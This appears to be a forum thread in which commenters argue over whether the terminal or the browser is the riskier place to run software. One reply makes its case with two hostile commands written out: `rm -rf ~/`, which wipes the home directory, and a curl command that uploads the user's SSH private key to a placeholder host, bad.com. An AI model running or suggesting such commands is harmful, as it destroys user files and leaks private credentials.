That's security vs. safety. You're pointing out that a terminal allows the user to do perform actions that could be unsafe. These actions or JS in the browser are a security risk because they can perform actions without the user's awareness or consent.
nonsense. The terminal is a place that you run software. Every piece of software you run in the terminal can do all kinds of nasty things to your system and steal info
the browser is also a place to run software. There, that software can not do anything to your system nor can it steal any data

You'll be warned if you do the first, and plenty of people are phished via browsers.
Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s.
JS on your browser can do none of those.
Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal prevents that.
